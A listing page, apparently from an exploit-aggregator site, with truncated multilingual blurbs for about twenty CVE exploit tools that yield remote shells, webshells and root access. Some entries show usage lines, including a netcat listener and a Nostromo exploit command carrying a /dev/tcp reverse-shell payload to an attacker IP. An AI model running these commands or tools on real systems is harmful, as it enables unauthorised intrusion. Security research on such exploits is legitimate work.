CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

Mitigation-Apache-CVE-2021-41773-

缓解 CVE-2021-41773 用于缓解 CVE-2021-41773 的 Shell 脚本，这是一个 Apache 中的路径遍历和文件泄露漏洞 安装 root@kitploit: wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 用法 完整的修复和推荐的缓解漏洞的方法 此脚本将升级和更新系统仓库和 Apache root@kitploit: bash apachefix.sh 注意 - 运行脚本时在两个弹出窗口中输入 OK 如果您不想更新和升级系统和 Apache，请使用 method2.sh...

CVE-2020-24186

CVE-2020-24186 该脚本利用 WordPress 中的 CVE-2020-24186 漏洞，上传伪装后的 PHP 负载并在目标系统上获取 Shell。共有三种操作模式： 1. 交互式 Shell: 上传基础 WebShell 并进入交互模式，允许您通过 cmd 参数发送命令。 2. 手动反弹 Shell: 上传 WebShell 并发送反弹 Shell 负载，但 不会 自动启动监听器。您需要在指定的 IP 和端口上手动启动自己的监听器。 3. 使用 pwntools 反弹 Shell: 上传 WebShell，发送反弹 Shell 负载，脚本会自动使用 pwntools...

CVE-2020-11108-PoC

CVE-2020-11108-PoC Two PoCs are in this repo. cve-2020-11108-rce.py will give you a shell as the www-data user. root-cve-2020-11108-rce.py will give you a shell and escalate privileges to root. Note: This is destructive as we must overwrite teleporter.php. For a full explanation/writeup please se...

CVE-2022-46169-CACTI-1.2.22

CVE-2022-46169-CACTI-1.2.22 Este es un exploit de CVE-2022-46169 para cacti 1.2.22. Este exploit permite, mediante un RCE, obtener una reverse shell en tu equipo. Requisitos optparse requests Uso Escucha en un puerto de tu máquina y luego ejecuta el exploit de la siguiente manera. root@kitploit:...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 这是针对 Nostromo 1.9.6 RCE 漏洞（CVE-2019-16278）的一个利用程序。该利用程序可在目标机器上实现远程代码执行。 需求 optparse socat sys 用法 你可以按如下方式使用该利用程序： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'" b'HTTP/1.1 200...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit para CVE:2010-2075. Este exploit permite la ejecución remota de comandos en UnrealIRCd 3.2.8.1. Requisitos optparse, signal Uso Puedes enviar un comando para ejecutar, pero habrá veces en las que no responderá; simplemente puedes enviar una reverse shell y esperar a que...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4...

CVE-2023-21823

CVE-2023-21823 Windows反向Shell 该仓库包含用于Windows操作系统的反向Shell的C代码。反向Shell允许使用命令行远程控制系统，提供在受感染机器上执行命令的能力。 重要说明 将此代码用于非法目的或在未经系统所有者许可的情况下使用是违法的，并且违背道德原则。此代码仅用于教育和研究目的。 构建 要构建该项目，您需要一个C编译器，例如MinGW或Microsoft Visual Studio。 MinGW 1. 如果您还没有MinGW，请先安装。 2. 打开命令提示符并导航到包含源代码的目录。 3. 运行以下命令构建项目： root@kitploit: gc...

cve-2017-11176

cve-2017-11176 本地权限提升 在 ubuntu 4.4.0-62 内核上开发 关于 我第一次尝试编写自己的 LPE 漏洞利用程序。 开发历程 c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 触发内核 UAF d2872d5c0d642e20c807a960f99d9533dde5d809 现在，我们可以在不使用 systemtap 的情况下，用另一个线程来解除主线程的阻塞。 待办事项 编写漏洞利用程序以获取 root shell 参考资料 lexfo:linux-kernel-exploitation 虽然这个人的工作是基于...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 描述 WonderCMS v3.2.0 - v3.4.2 存在漏洞。远程攻击者可以通过跨站脚本（XSS）攻击完全控制服务器（仅供教育目的）。以下是攻击计划： 工作原理： 该漏洞利用 WonderCMS 的 installModule 组件，偷偷植入一个运行任意代码的恶意脚本。 设置 工具：exploit.py 必要条件： 安装了 WonderCMS 的目标 URL（无需管理员密码）。 攻击者机器的 IP 地址。 监听反向 Shell 的端口。 逐步执行 1. 脚本生成一个名为 xss.js 的文件。这个...

Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 Estas herramientas son de código abierto, puedes reescribirlas, pero recuerda nunca eliminar las herramientas del autor, y estas herramientas son gratuitas, ¡no están en venta!!! ¡¡¡Los resultados del shell dependen de tu lista!!! Aquí, Jenderal92 no e...

Vulnerabilities in Microsoft Windows

Microsoft has identified 666 vulnerabilities in Windows. Malicious actors can exploit these vulnerabilities to carry out attacks that can cause various types of damage, as listed in the table below. Microsoft has identified 666 vulnerabilities in Windows. The 32 most severe vulnerabilities are...

CVE-2025-55182

Exploit CVE-2025-55182 Un sencillo script de python que explota la vulnerabilidad en React Server Components en CVE-2025-55182 inyectando un shell en la aplicación. El script está probado en Next.js versión 16.0.6. Uso Clona el repositorio root@kitploit: git clone...

CVE-2026-22812

CVE-2026-22812 Descripción general Una herramienta de explotación en Python para la vulnerabilidad de Ejecución Remota de Código RCE en OpenCode que afecta a versiones v1.0.216. Esta herramienta proporciona múltiples vectores de ataque, incluida la ejecución de comandos, lectura/escritura de...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE Exploit An automated Python exploit for CVE-2025-8110 in Gogs. This vulnerability allows for Remote Code Execution RCE by abusing the PutContents API, which fails to validate if a file path is a symlink. By overwriting the internal .git/config file via a symlink, we can...

springshell-rce-poc

CVE-2022-22965 - vulnerable app and PoC Trial & error root@kitploit: $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py Output example root@kitploit: rce...

CVE-2021-36260

海康威视 CVE-2021-36260 RCE 漏洞 漏洞描述 攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP 摄像头外，还可以访问和攻击内部网络。 FOFA root@kitploit: header="Hikvision" app="HIKVISION-视频监控" 使用方法 root@kitploit: python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check python ./CVE-2021-36260.py -u...

CVE-2026-39987

CVE-2026-39987 — RCE pre-autenticación en Marimo Solo con fines educativos y de investigación de seguridad autorizada. Descripción Ejecución remota de código pre-autenticada en Marimo = 0.20.4. El endpoint WebSocket /terminal/ws omite la validación de autenticación, lo que permite a un atacante n...

CVE-2025-1094-Lab-Setup

🛠️ CVE-2025-1094 Lab Setup ⚠️ Disclaimer This lab is for educational and research purposes only. Do NOT use any of the information or techniques demonstrated here on systems you do not own or have explicit permission to test. Unauthorized use of these methods may violate laws and result in severe...